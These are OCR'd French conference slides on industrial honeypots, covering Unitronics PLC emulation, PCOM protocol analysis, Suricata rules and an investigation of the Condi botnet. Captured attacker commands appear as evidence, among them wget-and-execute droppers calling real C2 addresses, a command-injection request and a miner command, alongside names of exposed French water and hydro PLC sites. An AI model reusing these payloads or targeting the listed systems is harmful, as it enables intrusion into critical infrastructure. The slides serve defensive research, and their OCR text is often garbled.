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« OT

* ICS

* SCADA
* HMI
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Plusieurs honeypots pour plusieurs
utilisations

Honeypots a
forte interaction

Honeypots a

 Niveau

moyenne
interaction
 NIveau
Honeypots
a faible .
interaction  NIveau



Cas d'usage

« Détection
« Une solution économique
« Facilité de déploiement
* Peu de faux posifif

» Renseignement / CTI

« Acquisition d'lOCs pour un type d’'équipement
particulier



L'existant dans le milieu industriel

« Conpot
« Gaspot

* Et beaucoup
d’autre...

Exemple de I'architecture de T-pot




Explorons internet, les honeypots

/161 / UDP

pysnmp

SHMP :
Uptime: 18
Description: Siemens, SIMATIC, S7-28@
Service: 72
versions:
1
3
Engineid Format: octets
Contact: Corporate IT
Engine Boots: 2
Engineid Data: 28884fb2885613661312630861293563383500014420
Enterprise: 28483
objectid: &.8
Engine Time: 15:52:86
Location: BER®1, T2E

Numeéro de série utilisé par des Honeypots Siemens

S C-A9WB44962010
S C-BIW379852011
S C-B3UK3843201 1
S C-B3UX66432011
S C-B4UF62692011
S C-B5TJ26102011
S C-B5WU75102011
S C-B5X144332011
S C-BOVF19492011
S C-CI1T1526292012
S C-C20U822952012
S C-C2UR28922012
S C-C3V080962012

S C-C5V124582012
S C-CbU176672012
S C-C6UH31412012
S C-C6V833152012
S C-C7V068522012
S C-C7VF79012012
S C-C8W502582012
S C-CNUM39802012
S C-CNV522982012
S C-COVW13472012
S C-D4T1675392013

S C-E21T94242014

S C-E4UL23582014




Explorons infernet, se fondre dans |o

Masse

e INformations de

exposes sur internet

. pas de
chiffrement, pas
d'authenftification

I France, Puteaux

I France, Saint Quentin-en-
Yvelines

B France, Guingamp

ics

I France, Changé

ics

- D&
-- CPU module: BMX P34 2028
- = Memory _card BMYBM<AARMP
-- Project information: Centrale de Gorre -
-- Project revision: @.5.216

-- Project ...

-- CPU module: BMX P34 2620

1 _rards  BMYBM<OAASMP

-- Project information: Prise d'eau Isaby - u Isaby

-- Project revislon: @.8.223

-- Project

entification:
le: BMX P34 2828

-- Memory card: EMXRMSB8sMP

-- Project informatien: STEP - W11.1 WM _LORCY C:\Users\LEDU22\Deskto

-- Project revision: ©.1.2d
-- Project last modified: zez..

uUnit
~_ Dey
- CPU

2

ule: BMX P34 2828
-- Memory card: EMXRMS8asMP

-- Project information: MOULIN DE LIRBAT - LIREAT

=
m
@
(=}

Electric EMX P34 2828 v2

Identification: Electric BMX P34

e Identification: Electric BMX P34 2828 v2.2

o

vil.a

Electric EMX P34 2828 v2.8

2@2@ v,

V6.8

ELEC-PC C:)\

i C:\Users\AUTOM\Desktop'\perso\LIREAT

\AUTOMATISMES\DESKTOPYCENTRALES HYD

INCENT . VANRAES\DESKTOP\CENTRALE\BARRAG

\WSTEP GOUDELIN 2823 84 @5.5T

irbat_2318e7

@



Detection d'une menace
spécifigue



L'outll OT - Unitronics

* PLC / HMI

« Utilisé dans plusieurs types
d’'industries :
 EQu
» Oill&Gas
 Manufacturing
* Medical

« Deux gammes de Unitronics visee
dans I'attague : Vision et Samba

W% uniTronICS'




Unitronics

Des cybercriminels iraniens
coupent l'eau dans deux

communes irlandaises (OUHAVE BEEN &%

Le groupe Cyber Av actuellement des es Operees es societés israéliennes, Hm
en soutier 3

DOWNWITH ISRAEL  ualipusd S0l

CYBER SECURITE INDUSTRIELLE - CYBER CRIMINALITE - 17 DECEMBRE 2023

EVERY EQUIPMENT
“MADE IN ISRAEL"

Le groupe cybercriminel iranien Cyber Av3ngers a attaqué I'infrastructure d'un systéme de lS : ' BER A

pompage d’eau en Irlande, début décembre 2023, privant deux communes d’eau pendant deux LEG A L TA RG ET
. ! 3 ) 'S, F o :

jours. Il affirme avoir déconnecté cet outil industriel, fabriqué et opéré par une société

israélienne, en soutien a la Palestine.

ALT

« CVSS 0 9.8

« Aftaque revendiquée par I'acteur
» Alerfe du CISA : ICSA-23-348-15



Construction du serveur Web (1/2)

« Utilisation de
VisiLogic pour lo
construction du
serveur Web

« Récupération des
vues via |I'outil de
prévisualisation



Construction du serveur Web (2/2)

@app.errorhandler(404)
custom_404(e):

° ReconS'I'rUCﬂOn dU return render_template('4@04.html'), 404
serveur en python : eapp. oute (" /")

gen_func_index():

° CréQ‘hon des rOU‘I'eS return send_from_directory('static/', ’'index.html')
® AjOUTS des HTTP POST /_profiler/phpinfo HTTP/1.1 (application/x-www-Torm-urlencoded)

GET /phpinfo.php HTTP/1.1

7 °
POST /phpinfo.php HTTP/1.1 (application/x-www-form-urlencoded)
- Creatfion des pages

POST /info.php HTTP/1.1 (application/x-www-Torm-urlencoded)

POST /boaform/admin/formLogin HTTP/1.1 (application/x-www-form-urlencoded)Continuation

GET /.env HTTP/1.1
HEAD /.env HTTP/1.1
GET /.env HTTP/1.1
GET /.wvscode/sftp.json HTTP/1.1

V4 o ;o
o v e rl fl e r | e < O I ' ' O U fl O g e GET /remote/fgt_lang?lang=/../../..7/..///// 777/ /dev/cmdb/ss lvpn_websession HTTP/1.1

GET sfavicon.ico HTTP/1.1

5 GET /robots.txt HTTP/1.1
VI O U n SC O n GET /.well-known/security.txt HTTP/1.1
POST /HNAP1/ HTTP/1.1
GET /.wscode/sftp.json HTTP/1.1
GET /favicon.ico HTTP/1.1
GET /robots.txt HTTP/1.1




RE, RA, RB, GS, RT, RM - Read bits

Le protocole PCOM

Un protocole pour plusieurs supports :
¢ CAN From PLC:

° RS 48 5 <STX1><CC><VALUES><CRC><ETX>

 Ethernet

Deux modes de fonctionnement : 00 (Commend Cose) e
¢ AS C | | ":Z - zea: mplutsl
 BINARY - Read outputs

"RB" - Read memory bits

"GS" - Read system bits

Plusieurs milliers d'équipements LRI Read timer scan bis
eXposeS "RM" - Read counter scan bits

« On peut se fondre dans la masse Se—
D es fo n C '|'i O n S n O n d O C U m e n .I.é es The new features are listed below, and are explained in the Help topic PCOM via Ethernet.

Set PCOM To provide security to your controllers, you must use Set PCOM (Ethernet)
(Ethernet) Password in your Ladder application to enable a password to prevent
Password unauthorized PCOM Ethernet access




Analyse du serveur web

 De nombreuses tentatives d’'exploitations de CVE :

» Frame 25834: 279 bytes on wire (2232 bits), 279 bytes captured (2232 bits) on interface ens2, id 4
»-Ethernet II, Src: aZ:87:09:cc:42:cc (a2:87:09:cc:42:cc), Dst: de:2e:48:4b:20:13 (de:2e:48:4b:20:13)
»>-Internet Protocol Version 4, Src: 119.202.224.222 (119.202.224.222), Dst: 10.19.30.37 (10.19.30.37)
»-Transmission Control Protocol, Src Port: 62819, Dst Port: 8880, Seq: 1, Ack: 1, Len: 225
Hypertext Transfer Protocol
8 POST sgoformsset_LimitClient _cfg HTTP/1.1%r\n
»-[Expert Info (Chat/Sequence): POST fgoform/set_LimitClient_cfg HTTP/1.1\r\n]
Request Method: POST
Request URI: /goform/set_LimitClient_cfg
Request Version: HTTP/1.1
»-Cookie: user=admin’rin
\rin
[HTTP request 1/1]

8 Hypertext Transfer Protocol
o timel=00:00-00:00&time2=00: 00-00:00&mac=;rm -rf *mpsl ;wget http://103.180.149.156/huhu.mpsl; :hmod 777 huhu.mpsl; ./huhu.mpsl 1blink.selfrep;rm -rf *mps1l*;\r\n

»- [Expert Info (Warning/Protocol): Illegal characters touno in neager name |
\rsn

8595



Analyse HTTP

« Classifier pour mieux analyser

» |dentifier les interactions ciblant des produits
spéecifiques

« Absence de données dans les outils de sécurité
(Greynoise, Virustotal...)

Interactions
avec un
Honeypot
« produit »
ciblé

Interactions
avec un
Honeypot
« produit »

Interactions
avec un
Honeypot
« générique »

91.169.142.163 =

2 AS Country:FR | [[[] Location : France - null

First Seen 2024-03-12 Last Seen 2024-05-13 Resolution

19:00:00 15:53:35 91-169-142-163.5ubs.proxad.net
AER 12322 Actor ST
ad ‘ m .
% e @ o N Q@ w 2
Tags: BRUTEFORCE
Modules: product_http_unitronics § Modules: bruteforce_http_unitranics

Protocol Hit Infos

HTTP 86

0 RESULTS

No IPs found

No IPs were found matching the query you entered. This could be because GreyNoise has not

observed any IPs matching your query within the past 90 days, or your query may have a syntax

error.

() Mo security vendor flagged this IP address as malicious

91.169.142.163 (91.169.128.0/19)

AS 12322 (FreeSAS)




Analyse HTTP

Tentative de bruteforce

Utilisation d'un VPS Scaleway

Chargement de I'ensemble de la page

Un seul User-agent

Dec Jan Feb Mar Apr May Jun

UJ'I'I—|§—|§(D

"remote_addr": "91.169.142.163",
"remote_port": "28348",
"server_protocol™: "HTTP/1.1",
“form": {
"username"™: "sncf",
"password"”: "sncf",

“"remember_me":

HTTP - URL /. /css/bootstrap.min.css, /css/jquery-uicss, /css/
elementsDesktop.css, /css/rcError.css, /css/
ui.fggrid.min.css, /{s/fquery.min.js, /is/
Jjquery.mask.min.js, /socket.io/socket.io.js, /is/
mainControllers.fs, /is/moment.minjs, /is/
mainControllersUtils.js, /Module1/is/
Home_S9b5766a815f5416dald14b6622620932.js
, /css/fonts.css, /is/bootstrap.min.js, /css/

@



Analyse HTTP - Pivot

» Utilisation d'outils pour identifier ey
des adresses IP similaires

- Combo-list utilisées e
« Outils utilisés (nmap, OpenVAS...) ——

826621186

Smilarity score



Analyse PCOM

« Réception de
code de
fonction réservé

Frame 11: 99
Ethernet II,

Internet Prot

mode

mode
mode
mode
mode
mode
mode
mode

@



Analyse du protocole PCOM

Ny

T AS62904

Hurricane

Répartition des IPs source par Répartition des IPs source par




Regles de détection

« IDS / IPS : Suricata

alert tcp any any -> any 20256 (flow:establihed; content:"ID"; offset: 9; depth:2; msg:"PCOM/ASCII
- Identification (ID)"; classtype:attempted-recon; sid:1000001; rev : 1;5

alert tCﬁ any any -> an% 20256 (flow:establihed; content:"CCS"; offset: 9; depth:3;
msg:"PCOM/ASCII - Stop Device (CCE)"; classtype:attempted-dos; sid:1000002; rev : 1;)

alert tcp any any -> any 20256 (flow:establihed; content:"UG"; offset: 9; depth:3; msg:"PCOM/ASCII
- Get UnitID (UG¥"; classtype:attempted-recon; sid:1000003; rev : 1;)

Source et complément : « A Comprehensive Security Analysis of a SCADA Protocol:
From OSINT to Mitigation »



Utiliser les honeypots pour
comprendre |'infrastructure
d’'un atfaguant



INnvestigation

Connexion
au Honeypot



Un script shell des plus classique

Protocol Details
TELNET - Command root, sh, cd /tmp | | cd Avar/run || cd /mnt | | ¢d /root | | cd /; wget
http://94.156.102.232/w.sh; curl -C http://94.156.102.232/w.sh; chmod

$ w.st
cd frun || ed /mnt || cd /root || cd /; wget h .102.23
cd / frun || c¢d /mnt || cd /root || cd /; wget h .102.23 L
cd / frun || €¢d /mnt || cd /root || cd /; wget h .102.23 /mips;
cd / frun || ed /mnt || cd /root || cd /; wget h 102.23 /mpsl;
. ) cd frun || ed /mnt || cd /root || cd /; wget h 102.23 /arm; ci
® Clblgge d U ne cd / /run || ed /mnt || cd /root || cd /; wget h .102.23 farms;
cd / frun || €¢d /mnt || cd /root || cd /; wget h 102.23 farmé;
24 cd / frun || ed /mnt || cd /root || cd /; wget h -192.23
VU I nerO ble cd frun || ed /mnt || cd /root || cd /; wget h 6.102.23 /
cd / frun || cd /mnt || cd /root || cd /; wget h .102.23 /m&8k;
cd / frun || c¢d /mnt || cd /root || cd /; wget h .102.23 /sh4; «
cd / frun || €d /mnt || cd /root || cd /; wget h -192.23 /spc; cl

« Téléchargement d'un PR
premier script shell

@ 23

H - C H C CC k- C C



INnvestigation

¢ >_
Connexion Analyse du

au Honeypoft C2



n script shell des plus classique

$ w.sh <!DOCTYPE html>
cd /tmp frun || ed /mnt || cd /root || cd /; wget http 156.102.232/2ins/x86; cur <head= . . .
cd /tmp /run || cd /mnt || cd /root || cd /; wget http 156.102.232/0ins/x86_64; <title>Condi Network</titlex>
cd /tmp frun || €d /mnt || cd /root || cd /; wget http 156.102.232/2ins/mips; cu < oads
cd /tmp frun || ed /mnt || cd /root || cd /; wget http 156.102.232/2ins/mpsl; cu ;
cd /tmp r/run || ed /mnt || cd /root || cd /; wget http 156.1@2.232/0ins /arm:~{ur
cd /tmp /run || ed /mnt || cd /root || cd /; wget http 156.1@2.232/2ipc7aIms; cu -r.'bﬂd'_l,f::-
cd /tmp frun || cd /mnt || cd /root || cd /; wget http 156.102.232/2ins/arm6; cu c
cd /tmp frun || ed /mnt || cd /root || cd /; wget http 156.102.232/1ins/arm7; cu <hi>@condinetwork or @zxcr9999</hi>
cd /tmp frun || ed /mnt || cd /root || cd /; wget http 156.1@2.232/oins/ppc; cur
cd /tmp frun || cd /mnt || cd /root || cd /; wget http 156.102.232/0ins/mé8k; cu
cd /tmp frun || cd /mnt || cd /root || cd /; wget http://94.156.102.232/1ins/sh4; cur
cd /tmp frun || €d /mnt || cd /root || cd /; wget http://94.156.102.232/1ins/spc; cur

Im -IT W.
15

O\ category:datascan app.http.title:'Condi Network”

SEARCH DOCUMENTATION

7y 7 y
> Te | e C h O rg e m e n -l- d U n e DATASCAN cTL THREATLIST SNIFFER VULNSCAN RISKSCAN SHOW MORE
variante de
Returning 10 result(s) out of 16 in 0.129 second(s)

e Utilisation de .

+* 103.183.113.123:80 (tcp/http) - last seen on 2023-09-30 at 10:31:04 UTC

SS 25 @




INnvestigation
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Connexion
au Honeypot
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Analyse du
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Telegram



Telegram

<!DOCTYPE html=
=head=

=title=Condi Network=/title=
=/head=

<body=>
=hl=>@condinetwork or @zxcr9999</hil=>

 Le compte
disparu

« Un autre I'a remplacé :

5SS

" ia Learn everything

671 members, 27 online

Info

Learn & Practice
Never give up on what you dream of!

t.me/learneverything9 oo

Invite Linl

Notifications ()

Join Group

Members Media Files Links Music

o

abcxyza Ownel
last seen recently

o
3 abcxyza

last seen recently

Info

Update knowledge right here ->
@learneverything9 @zxcr9999

R
Blo

@az369za 0o

Private Exploit and Botnet Source Code in
here https://condistore.sellpass.io/

Lets buy now

Support: @az369za

sellpass.io
Sell digital products with 0% in
fees — Sellpass

Sellpass is the digital ecommerce platform
built for rapidly scaling entrepreneurs.
Accept payments, customize your
storefront, and block fraudulent
customers. The best part? Zero transaction
fees.

©

27 @



INnvestigation
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Connexion
au Honeypot
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Analyse du
C2

O

Telegram

9

Github



Github

- Lecture du code et identification

repeat();
d’'lOC :

« Nom de domaine utilisé pour les

* Nombreuses IPs de C2 (la plupart e
offline)

 Les différentes vulnérabilités exploitées

e Exiraction des adresses mails et
pIvVot

Hi, I'm ' ¥

Disclaimer

CONDI NEVER DIE

[ 2

A& ./¥mrig -0 sg-zephyr.miningocean.org:5352
& ./¥mrig -o sg-zephyr.miningocean.org:5352

1 -p duc3k3 -a rx/@ -k --thre
i -p duc3ké -a rx/0 -k --thre

@



INnvestigation
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Connexion
au Honeypot
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O

Telegram
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Github



Adresses mails

This tool allows you to find a github account linked to an

| » Pivot via les differentes
adresses mails

Y 'I' This tool allows you to find a youtube account linked to an
0 u “ e email address.

This tool allows you to find if an email address was leaked in Query ducclone ymail.com

data breaches.

This toal allows you to check If an email address Is used on Ehais) htt]

several social networks or websites.
Owner Name duc nguyen

Query zxcr9999@protonmail.com Joined Date Joined 2 years ago

e ducclone Subscribers Count E ribers
Leaks
Websites Verified

breached.vc (2022-11-29)

Channel Name

Channel Url




INnvestigation
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: Telegram
‘l’. S
Connexion Analyse du
au Honeypoft C2 o
Github

Rentabilisation
du botnhet

p

Email



Vente et rentabllisation du botnet

Hello everyone.
We, Condi Network are pleased to launch a new DDoS product is
@condinetwork_bot.

» Vente de code source sur S e
Te | e g rO m ntas Resources

* Vente de et

exploit sur des plateformes en
lignes
* Vente de
(Facebook, Telegram...)
« Plusieurs de ventes products



Une vraie menace ¢

« Analyse des chaines

~ T o i
gJ' Condi C2 > Online: 6875

« Attaque conftre un site

fi - A LAY o - a
& Condi C2 > Online: 6875 | User: root | Total Sent: 31 | Total Users: 8

1 udp UDP Flooding, DGRAM UDP with less PPS Speed

2 stomp TCP Mitigation SYN,ACK,P5H Checker (Connection)
3 tcp ICP flood (urg,ack,syn)

4 std STD flood (uidl suppoxted)

5 ack ACK flood optimized for higher GBPS

) syn SYN flood optimized for higher GBPS

7 hex HEX flood (using size=1400)

8 stdhex STDHEX flood(bypasses ovh server)

5 nudp NUDP flood(High PPS)

10 udphex UDPHEX flood

@



REFERENCES

 Documentation PCOM :
hitps://www.unifronicsplc.com/Download/SoftwareUfilities/Unitronics%20P

COM%20Protocol.pdf

« Analyse de protocole industriel :
hitps://estudogeral.uc.pt/bitstream/10316/101586/1/A_Comprehensive_Se

curity_Analysis_of_a_SCADA_Protocol_From_OSINT_to_Mitigation.pdf
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Contact : cybersecics@protonmail.com
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